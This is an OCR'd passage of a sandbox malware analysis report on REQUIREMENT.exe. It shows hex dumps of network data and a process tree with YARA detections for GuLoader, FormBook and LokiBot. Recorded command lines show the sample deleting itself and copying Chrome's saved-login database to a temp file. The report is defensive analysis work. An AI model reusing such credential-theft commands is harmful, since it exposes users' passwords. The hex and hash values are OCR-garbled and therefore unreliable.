2021-10-13 13:52:05 UTC 674 IN Data Raw: 2a 6d 20 1f 50 5¢ ¢7 b1 67 da c2 04 36 f3 da 27 a4 e3 4b 56 4b b6 92 37 69 86 65 15 44 0b c8 9a c7 a4 dd be
2f cc 8a 7183 90 f5 f3 09 bd ef c4 bb ¢8 52 ¢7 93 3a 30 2d 12 2c d0 bb 5a bb fa 3c 4c cf c6 6b 44 a0 e7 40 6f 2b a4 a2 2e
05 4d 5e dd 00 74 e5 70 a9 b1 a6 df c2 4c 03 69 03 ac ca 8e 6a f4 f9 06 11 c1 53 d9 c8 b0 96 11 db f9 80 93 dd 74 e5 1e
93 ¢5 59 47 5e 8b 69 68 2e 42 03 09 16 ce 21 53 42 93 81 7c 6b 77 Oa 7d 2a 5a 89 20 e5 c1 73 95 dO 77 c6 1f 13 0f 99 22
ca 61 7b 6¢ df c6 a2 52 cc e3 f3 0b f3 fe 46 a1 07 7d 71 1d 9c d3 bf Oa de f1 94 d9 08 99 7a 2c f4 45 3c af d7 84 76 92 cO
b4 d2 d1 ba al 47 al 74 ad a5 6¢ 81 71 ca 79 5a f8 e7 18 ec 5d ee ec 1f a7 b9 c8 55 3a 7c c4 72 45 e6 53 d5 de 96 dc 3f
f6 ac eb 7d 92 48 8b ca 32 fd b8 cb 88 8e 19 3a d5
Data Ascii: *m P\g6'KVK7ieD/qR:0-,Z<LkD@o+.M/tpLijStYG"ih.B!SB|kw}*Z sw"a{lRF}qz,E<vGtlqyZ]U:|[rES?}H2:

2021-10-13 13:52:05 UTC 676 IN Data Raw: 43 73 c8 b5 9f fb ba 6e 01 00 70 4e f7 9a 7e 8¢ 69 5a ed bc 2d fd 7b d2 88 dd bd 11 8a 9d a0 90 34 fa a9 e9 9
65 5d 54 ef f9 f2 b6 a4 72 56 e4 f6 4b 41 a7 50 23 fe 9b 72 e4 Ob 2f 24 f2 ¢4 6d 37 6b d3 bc 0d cd f8 f1 12 a7 96 8¢ 08 29
ba 7b 02 6e 4f 47 d4 5f al a8 2b b0 f1 87 2f 77 al 02 5d b1 b1 70 ef 72 e0 a0 31 31 6e 1c a4 6a 5e 8d ef fO b6 19 ce 62 17
€2 17 10 af 49 bf fO d1 44 70 94 ed b5 d3 62 e8 e6 ad ae 8e eb 8c c1 88 ad d2 97 c4 39 el e4 00 b2 90 24 3d 58 ef d9 96
cc 2b 4e 87 43 80 cf 7e 85 c2 b4 e5 a3 6d d4 ed 4a 65 b2 el 85 ab 85 a8 b3 be 97 cc 90 36 ba d2 69 4a 42 95 47 4e 87
cb 14 69 2b 49 95 27 ca 73 2c ¢7 19 2b 2d 91 8a d6 70 1b dO 37 25 68 9f 71 80 63 5d 6b be 3b b8 54 0Ob 9f ef 3a e4 7a 68
a2 f5 63 3a 86 b2 85 25 46 a9 44 d1 07 ea d8 cc 7b
Data Ascii: CsnpN~iZ-{4e]TrVKAP#r/$m7k){nOG_+/w]prl1nj*bIDpb9$=X+NC~mJe6iIJBGNi+I's,+-p7%hqc]k;T:zhc:%FD{

2021-10-13 13:52:05 UTC 677 IN Data Raw: 1f 47 da b4 c0 9f 33 aa 5d ed 1b e8 78 ff d8 00 f1 c3 12 fb 47 6¢ 7e c4 66 46 2e 92 d9 3d 43 78 b8 43 d8 dO c7
26 ea 80 66 c5 5f d1 09 c4 16 1d 75 f4 25 3d e5 30 66 64 29 78 84 fe 36 d6 2b 00 a7 c3 2a cc 21 d6 26 2b bd d2 35 79 26
50 9d e0 d4 f6 75 14 ab e0 b2 57 79 22 e7 bc 60 b8 61 55 9c 41 d7 ce 7d f6 23 5a 9f df 79 3a 1b f1 a6 bc 76 ef 6a bd 63 22
0f 03 4d 0a 38 32 4d fc 81 8a 58 61 2e 0f 83 67 20 b3 86 54 a0 90 35 4c 65 2 ¢6 d8 7d 9d 05 fa aa 93 3b d5 84 74 ef 81
14 02 d2 96 7a 36 Ob Oe c0 f8 01 65 72 80 ec f1 7c 1c 57 €8 94 b1 f5 85 4f 99 f7 11 a5 1c 4b 00 4b 6¢ 31 7d 6f 1a 19 9f 59
3d 29 f1 51 07 40 d4 5f b2 3c 6¢ 9a Oa da 5¢c 97 4f 98 17 3e fb 33 d7 dc 8c 38 95 el 8d aa 57 2d 4c 08 8a 8a 85 36 fe 37
cc 21 d6 37 f3 b2 c9 el 4c f0 f2 ba a3 f4 b9 07
Data Ascii: G3]XGI~fF.=CxC&f_u%=0fd)x6+*1&+5y&PuWy" aUA}#Zy:vjc"M82MXa.g T5Le};tz6er|WOKKI1}oY=)Q@_<
\O>38W-L67!7L

2021-10-13 13:52:05 UTC 678 IN Data Raw: 5¢ 13 95 6 51 ac 43 82 d6 44 cb 4b 9c 37 59 dc Oe 2b d0 47 2e f5 3b ce 89 39 a2 ec 98 0d fc 38 35 50 8e €6
16 da b1 9b 5b 7a Oe 19 30 73 60 el 06 b6 48 d2 99 e6 12 23 8a 59 68 06 29 d1 e2 c2 fb b5 70 2d f2 50 d1 66 64 4f 66 a6
ae 4b e3 96 75 7e b7 d1 26 f9 79 d6 9a 7f 05 fd e3 ac 95 0d 6d 2c d2 10 7c 55 46 d9 25 15 c4 bc 6e b5 d1 2a 46 7d f9 49
cd b8 e2 40 09 dc 47 f0 el 73 ¢1 10 d5 59 74 2a 13 73 31 58 c2 df cf 3d b2 f4 57 3b 72 49 fd 84 59 2d e9 25 46 3c 02 78
€0 0a 60 ab eb 71 85 69 8f 09 fe 3d 85 ec 79 4a 64 34 99 8c a2 ae 83 ef 9d 4e e0 9b d5 1c ad e8 27 cf 82 el 6f 5b d2 c8
a6 5f a4 b5 41 74 5¢ 8e da fb ¢7 1c 13 3c 81 1e 56 12 Ob c9 a3 47 f5 75 08 d8 el da b9 d5 04 81 Oe 76 f1 eb 6¢ a2 f3 c5 dc
a4 ee 4b 12 18 d9 1f 4e 09 6¢ 80 93 f1 b5 18 11 ca 68
Data Ascii: \QCDK7Y+G.;985P[z0s H#Y h)p-PfdOfKu~&ym,|UF%n*F}l @GS Yt*s1X=W;rlY-%F<x gi=yJd4N'o[_At\<VGu
VIKNIh

2021-10-13 13:52:05 UTC 679 IN Data Raw: 44 d7 b2 5d bb c8 40 4e 86 57 81 a7 97 33 67 21 €0 55 bb f5 2f d7 67 50 b0 bc 5b 7a b0 15 67 6f bf 76 9c Ob
60 dO ba 98 83 d9 f4 c6 6d a5 f3 17 9d 82 f6 48 ca 1f bl aa c5 Oe f9 al ce 90 2d 43 fc dd 66 aa f2 29 8a 04 6a 22 c3 57 93
30 79 3e b3 62 €8 46 42 db 52 3f e0 7e 2d 42 Oe 58 02 85 ee 4f 6d 8e 3b c5 2e e5 33 6b 29 ba 1d 57 83 fa 54 63 bb dd 4b
89 eb 12 1f 95 27 ¢7 81 1c 28 3b 8a 67 8d 8d 1f 50 21 4e 30 30 55 3c 2a 42 d4 2d 9f 40 f1 b2 9f ec f4 10 9e ba b3 38 2a
€327 17 4599 d5 fd ef d9 fe 16 22 da c9 73 87 fc af 03 61 1f aa bb b4 92 2f 77 6d 23 37 45 92 03 bb 8d e8 5 98 59 ae c6
eb 4e 8b 20 d3 7b ea c2 6a 71 41 ca 46 74 c0 d3 c5 48 86 Ob f3 4f 08 91 d8 11 88 38 35 71 06 04 2c de a9 73 al 4c ec 14
21 d1 5d f1 2e 70 8d 2d dd c7 c1 46 46 64 83 4d 10
Data Ascii: DJ@NW3g!U/gP[zgov’ mH-Cf)j"WO0y>bFBR?~-BXOm:;.3k)WTcK'(;gP!NOOU<*B-@8*E"sa/wm#7EYN {jgAFtH
085q,sL!].p-FFdM

2021-10-13 13:52:05 UTC 680 IN Data Raw: 47 34 80 9a 04 b8 7d 09 2a cd a4 f1 59 6¢ 51 3e 50 d0 73 a4 da e3 23 1d 8a de 08 bf ca 5d al 2d 4a 40 9f 32
55 8a fa 60 13 8f 8e 2d 87 e5 15 €0 44 a0 70 99 6f c¢7 2d 38 9f c5 f3 19 3b 37 fe a8 74 39 31 64 a7 aa 66 ef 11 91 9b f4 92
93 be 4d 6a 4e 98 55 4a 3c 68 d6 4a 49 2a a3 48 8a 29 a6 9b 4d 67 29 46 ba 42 92 64 ee 3c af e4 31 d2 89 4c ed 8c 56
ab 20 74 b0 02 28 89 57 00 e3 5a Oc 47 Oa da 3a af 99 10 92 87 98 b6 94 61 fb 2f b6 d6 07 40 c5 b0 Oc 2a 28 €9 5e 42 dd
fe df b4 33 13 ae 49 52 a9 f4 db 15 dd 46 ee 2¢ 30 71 59 eb c5 11 ce b7 €5 00 46 Oe 7f b5 3c 10 da 93 85 32 44 20 2e 86
ff 14 ¢3 7c 86 Ob ad 40 1b ba 3b 7f Oc 7f 80 fc 7a 77 5a Oa e3 c1 da e7 89 f2 aa 22 48 50 2a 16 72 57 8c bb b0 ee 7b 2c d4
fO 6d Od 41 80 ec 04 36 7d 13 ef 53 77 ae f9 f5 fO fb
Data Ascii: G4}*YIQ>Ps#]-J@2U"-Dpo-8;7t91dfMjNUJI<hJI*H)Mg)FBd<1LV t(WZG:a/@*(*B3IRF,0qYF<2D .|@;zwZ"
HP*r'W{,mA6}Sw

2021-10-13 13:52:05 UTC 682 IN Data Raw: 73 73 73 ¢8 15 e8 06 b2 91 31 19 bb 31 f0 df 2e f1 3c 1a f5 72 61 38 a9 4a 6d al 75 4a 83 3d 3c 62 86 4f b6 21
ee fO b2 89 38 5a 02 59 37 80 ab ad f7 3f df dc f2 36 01 22 a8 e3 54 d5 2f 66 b6 al 68 al c9 7e 8c b9 ca 35 2f 79 e6 85 af
39 67 da e4 70 b5 34 36 0a 1f a7 22 91 4d 79 49 10 88 60 e6 2c 6a e4 9c b5 f1 98 73 23 8f ea 81 b7 8b 26 69 fe c2 db ea
e2 e851 e9 8c b9 54 bd 8d el ea b2 91 a9 79 8e 70 4e 03 1f 1d 05 97 ca 3c 7e 3b 15 b0 3c bd 02 d9 cd b2 18 00 5¢ b7 8¢
97 24 18 f9 cd 9c 58 45 3b 8d 63 8a 47 83 dc 65 67 3a cd 3c 51 f8 54 20 b4 9c 1f 4e eb 7e 56 fO 76 1a 61 72 fO 06 96 ba
ae d2 2f 52 a2 52 18 67 89 a3 81 1d ca 5a Of 8f 0d 86 17 b6 €8 d2 22 b0 24 54 70 f9 44 5e 16 b4 30 14 d5 79 3e 15 70 ba
5a 59 96 2c a3 56 62 d6 22 e2 2a 31 db 2b 12 b6 b3
Data Ascii: sss11.<ra8JmuJ=<bO!8ZY7?26"T/fh~5/y9gp46 "Myl js#&IQTypN<~;<\$XE;cGeg:<QT N~Vvar/RRgZ"$Tp
DAOy>pZY,Vh"*1+
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:52:05 UTC 683 IN Data Raw: a6 e5 68 e3 7c 9e 55 b5 6b 99 2f 94 46 7b 4b 14 €9 61 99 fb Oa 1e af f5 b6 54 1c 12 76 4b b3 69 a3 28 32 59
76 08 fd b9 8a 7c 25 ee Oc c2 05 f3 a4 d3 13 dc 24 98 3a b9 14 99 8c 93 f6 b5 6f 4f fd 66 c9 d8 fb 6f d7 19 b3 77 1a 88 4e
96 53 d9 71 7d 7e cb d1 69 ef f3 cd a9 b1 c5 45 35 88 98 f1 03 8b 13 72 12 f8 d2 87 48 9 c1 d6 26 8b 01 7b 6a 7d 69 f8
7a 9e d4 66 85 a3 09 4e 2b 83 93 d8 45 1f d2 6¢ 6a e8 ea 88 33 c6 75 05 db da d9 02 50 e9 7c af ae 14 9f 4f 9d 27 84 37
8e 15 8a da b6 3b 0f 9e 3f b7 54 75 be 4e d8 a3 d2 fO 9e 3f f1 70 2e ad 76 b6 8c ee 30 ea 21 08 35 8e 96 d6 59 b8 c9 dc
4d c6 5f df 67 a2 06 32 ca 5b 94 06 d7 03 d9 9b 99 33 8a 3d 7 c9 74 5b 47 43 ca 07 04 94 14 69 17 93 2¢ 78 19 18 1la 17
bc 85 bf 19 ¢7 d7 7b 29 16 07 05 3a b1 59 96 fd de 10
Data Ascii: h|UK/F{KaTVvKi(2YV|%$:00fowNSq}~E5rH&{j}izfN+EIj3uP|O'7;?TuN?p.v0!5YM_g2[3=t[GCi,x{):Y

2021-10-13 13:52:05 UTC 684 IN Data Raw: 7e e7 b1 4f a3 01 01 d6 8c 99 e9 99 00 00 72 50 6¢ 63 97 3f 08 b0 9e 19 e9 6f 9d 25 Oa e3 3b e6 ee c3 4d f4 f8
83 a0 bb al 45 ff 90 33 ea f1 d2 02 e3 b2 ba c0 54 ed 31 a6 fa da 8c 9a 11 8e f5 1c 69 02 23 46 ff 31 a4 c2 1c 1a 1a 88 73
84 30c9 6f32c4 17 e3 ede9 7d fc d2 73 ee d3 09 a6 54 68 Oa c5 ff fc 8a d3 19 87 b3 76 ee 6e f9 10 80 06 17 e7 da 6d
2829 31 94 1a 10 8a ad 80 97 bf 91 d8 a2 6a 2a 9e 19 5e cb 75 eb 80 1f 27 d1 d2 6f d2 25 b0 fc 56 34 8d 4a a7 35 68 8a
a3 89 d8 e3 6a 90 b4 12 70 10 fO da 1b fe 86 20 81 5d a6 7b 4c b8 b3 02 da 5d 7d Oa 84 d7 c9 2a a5 de 51 1d 59 48 4c 22
c0 34 d4 5a 02 58 3c Ob 3e 0f 87 9f ac 7a 28 6f 5¢c 84 8 2c 83 bc b8 fd 7f ec aa 39 f1 de 15 18 2d e4 72 15 97 3b f6 Oe 85
5f e5 3f 39 53 84 c4 be bf 76 7a 39 27 2e b8 af
Data Ascii: ~OrPlc?0%;ME3T1i#F1s002}sThvnm()1j**u'0%V4J5hjp HLI}*QYHL"4ZX<>z(o\,9-r;_?9Svz9'.

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: REQUIREMENT.exe PID: 1776 Parent PID: 4332

General

Start time: 15:46:29

Start date: 13/10/2021

Path: C:\Users\user\Desktop\REQUIREMENT.exe

Wow64 process (32bit): true

Commandline: ‘C:\Users\user\Desktop\REQUIREMENT.exe'

Imagebase: 0x400000

File size: 102400 bytes

MDS5 hash: FB70FF484021669624233D0FBD77EC6A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Visual Basic

Yara matches: e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
00000001.00000002.32667545706.00000000023B0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: low

File Activities Show Windows behavior

Analysis Process: REQUIREMENT.exe PID: 1172 Parent PID: 1776

General
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Start time: 15:46:49

Start date: 13/10/2021

Path: C:\Users\user\Desktop\REQUIREMENT .exe
Wow64 process (32bit): true

Commandline: ‘C:\Users\user\Desktop\REQUIREMENT.exe'
Imagebase: 0x400000

File size: 102400 bytes

MDS5 hash: FB70FF484021669624233D0FBD77EC6A
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000003.00000002.33056187707.000000001E5F0000.00000040.00020000.sdmp,
Author: Joe Security

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000003.00000002.33056187707.000000001E5F0000.00000040.00020000.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000003.00000002.33056187707.000000001E5F0000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000002.33045645431.00000000000A0000.00000040.00020000.sdmp,
Author: Joe Security

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000003.00000002.33045645431.00000000000A0000.00000040.00020000.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000003.00000002.33045645431.00000000000A0000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Reputation: low

File Activities Show Windows behavior

File Created

File Read

Analysis Process: explorer.exe PID: 680 Parent PID: 1172

General

Start time: 15:47:09

Start date: 13/10/2021

Path: C:\Windows\explorer.exe
Wow64 process (32bit): false

Commandline: C:\Windows\Explorer.EXE
Imagebase: 0x7ff632640000

File size: 4849904 bytes

MD5 hash: 5EA66FF5AE5612F921BCIDA23BACI5F7
Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language
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Yara matches:

Reputation:

File Activities

File Created

File Deleted

File Written

Registry Activities

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000000.32994766605.0000000011CAC000.00000040.00020000.sdmp,
Author: Joe Security

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000000.32994766605.0000000011CAC000.00000040.00020000.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000009.00000000.32994766605.0000000011CAC000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000000.32944159535.0000000011CAC000.00000040.00020000.sdmp,
Author: Joe Security

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000000.32944159535.0000000011CAC000.00000040.00020000.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000009.00000000.32944159535.0000000011CAC000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

moderate

Show Windows behavior

Show Windows behavior

Analysis Process: autoconv.exe PID: 5024 Parent PID: 680

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

15:47:24

13/10/2021
C:\Windows\SysWOW64\autoconv.exe
false
C:\Windows\SysWOW64\autoconv.exe
0xe0000

851968 bytes
469594005E3B94C5945BCCE7FC521C05
false

false

C, C++ or other language

Reputation: low
Analysis Process: autochk.exe PID: 5612 Parent PID: 680
General
Start time: 15:47:24
Start date: 13/10/2021
Path: C:\Windows\SysWOW64\autochk.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

false

C:\Windows\SysWOW64\autochk.exe
0x100000

875008 bytes
95127C028063423E1253BDOC8CD6CICB
false

false

C, C++ or other language
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Reputation: low

Analysis Process: systray.exe PID: 2092 Parent PID: 680

General

Start time: 15:47:25

Start date: 13/10/2021

Path: C:\Windows\SysWOW64\systray.exe
Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\systray.exe
Imagebase: 0x5f0000

File size: 9728 bytes

MDS5 hash: 28D565BB24D30E5E3DEBAFF6900AF098
Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Yara matches: e Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan
copy.pdf.ri1, Source:
0000000D.00000002.37539395229.0000000004EB7000.00000004.00020000.sdmp,
Author: Florian Roth

e Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan
copy.pdf.ri1, Source:
0000000D.00000002.37529342478.0000000002A26000.00000004.00000020.sdmp,
Author: Florian Roth

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000D.00000002.37532894515.0000000004590000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000D.00000002.37532894515.0000000004590000.00000004.00000001.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000D.00000002.37532894515.0000000004590000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000D.00000002.37532501994.0000000004560000.00000040.00020000.sdmp,
Author: Joe Security

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000D.00000002.37532501994.0000000004560000.00000040.00020000.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000D.00000002.37532501994.0000000004560000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000D.00000002.37528295705.00000000027D0000.00000040.00020000.sdmp,
Author: Joe Security

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000D.00000002.37528295705.00000000027D0000.00000040.00020000.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000D.00000002.37528295705.00000000027D0000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Reputation: low

File Activities Show Windows behavior

File Read

Registry Activities Show Windows behavior

Analysis Process: cmd.exe PID: 2492 Parent PID: 2092

General

Start time: 15:47:28

Start date: 13/10/2021

Path: C:\Windows\SysWOW64\cmd.exe

Copyright Joe Security LLC 2021 Page 131 of 136



Wow64 process (32bit): true

Commandline: Ic del 'C:\Users\user\Desktop\REQUIREMENT.exe'
Imagebase: 0x500000
File size: 236544 bytes
MDS5 hash: DOFCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges: false
Has administrator privileges: false
Programmed in: C, C++ or other language
Reputation: moderate
File Activities Show Windows behavior

Analysis Process: conhost.exe PID: 1196 Parent PID: 2492

General

Start time: 15:47:28

Start date: 13/10/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff67b510000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFAGS
Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: cmd.exe PID: 7420 Parent PID: 2092

General
Start time: 15:51:01
Start date: 13/10/2021
Path: C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit): true
Commandline: Ic copy ‘C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data'
‘C:\Users\user\AppData\Local\Temp\DB1' /V
Imagebase: 0x500000
File size: 236544 bytes
MD5 hash: DOFCE3AFA6AALDS58CE9FA336CC2B675B
Has elevated privileges: false
Has administrator privileges: false
Programmed in: C, C++ or other language
Reputation: moderate
File Activities Show Windows behavior
File Created
File Written
File Read

Analysis Process: conhost.exe PID: 5608 Parent PID: 7420
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General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

15:51:01

13/10/2021

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff67b510000

875008 bytes
81CA40085FC75BABD2C91D18AAIFFA68

false

false

C, C++ or other language

Reputation: moderate
Analysis Process: firefox.exe PID: 3076 Parent PID: 2092
General
Start time: 15:51:01
Start date: 13/10/2021
Path: C:\Program Files\Mozilla Firefox\firefox.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

File Activities

false

C:\Program Files\Mozilla Firefox\Firefox.exe
0x7ff7f0c20000

597432 bytes
FA9F4FC5D7ECAB5A20BF7A9D1251C851
false

false

C, C++ or other language

e Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan
copy.pdf.ri1, Source:
00000015.00000000.35242814301.0000000027517000.00000004.00020000.sdmp,
Author: Florian Roth

e Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan
copy.pdf.ri1, Source:
00000015.00000002.35248315859.0000000027517000.00000004.00020000.sdmp,
Author: Florian Roth

e Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan
copy.pdf.ri1, Source:
00000015.00000000.35190394827.0000000027517000.00000004.00020000.sdmp,
Author: Florian Roth

Show Windows behavior

Analysis Process: certmgr3ff.exe PID: 1444 Parent PID: 680

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:
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15:51:03

13/10/2021

C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe
true

C:\Program Files (x86)\Aidrop8Ix\certmgr3ff.exe
0x400000

102400 bytes
FB70FF484021669624233D0OFBD77EC6A
false

false

Visual Basic

e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
00000017.00000002.35412996172.0000000002410000.00000040.00000001.sdmp,
Author: Joe Security
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File Activities

Show Windows behavior

Analysis Process: certmgr3ff.exe PID: 7460 Parent PID: 680

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

File Activities

15:51:09

13/10/2021

C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe
true

'C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe"
0x400000

102400 bytes
FB70FF484021669624233D0FBD77EC6A
false

false

Visual Basic

e Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:
00000018.00000002.35540305146.0000000002290000.00000040.00000001.sdmp,
Author: Joe Security

Show Windows behavior

Analysis Process: certmgr3ff.exe PID: 7840 Parent PID: 680

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

File Activities

15:51:18

13/10/2021

C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe
true

‘C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe’
0x400000

102400 bytes
FB70FF484021669624233D0FBD77EC6A
false

false

Visual Basic

e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
00000019.00000002.35598358285.00000000022C0000.00000040.00000001.sdmp,
Author: Joe Security

Show Windows behavior

Analysis Process: certmgr3ff.exe PID: 2676 Parent PID: 1444

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Copyright Joe Security LLC 2021

15:51:23

13/10/2021

C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe
true

C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe
0x400000

102400 bytes
FB70FF484021669624233D0OFBD77EC6A
false

false
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Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:
0000001A.00000002.35647851056.0000000000560000.00000040.00000001.sdmp,
Author: Joe Security

File Activities Show Windows behavior

File Created

File Read

Analysis Process: certmgr3ff.exe PID: 6616 Parent PID: 7460

General
Start time: 15:51:36
Start date: 13/10/2021
Path: C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe
Wow64 process (32bit): true
Commandline: ‘C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe’
Imagebase: 0x400000
File size: 102400 bytes
MD5 hash: FB70FF484021669624233D0FBD77EC6A
Has elevated privileges: false
Has administrator privileges: false
Programmed in: C, C++ or other language
Yara matches: e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
0000001B.00000002.35777303082.0000000000560000.00000040.00000001.sdmp,
Author: Joe Security
File Activities Show Windows behavior
File Created
File Read

Analysis Process: certmgr3ff.exe PID: 4776 Parent PID: 7840

General

Start time: 15:51:42

Start date: 13/10/2021

Path: C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe

Wow64 process (32bit): true

Commandline: ‘C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe’

Imagebase: 0x400000

File size: 102400 bytes

MD5 hash: FB70FF484021669624233D0OFBD77EC6A

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
0000001C.00000002.35818096692.0000000000560000.00000040.00000001.sdmp,
Author: Joe Security

Disassembly

Code Analysis
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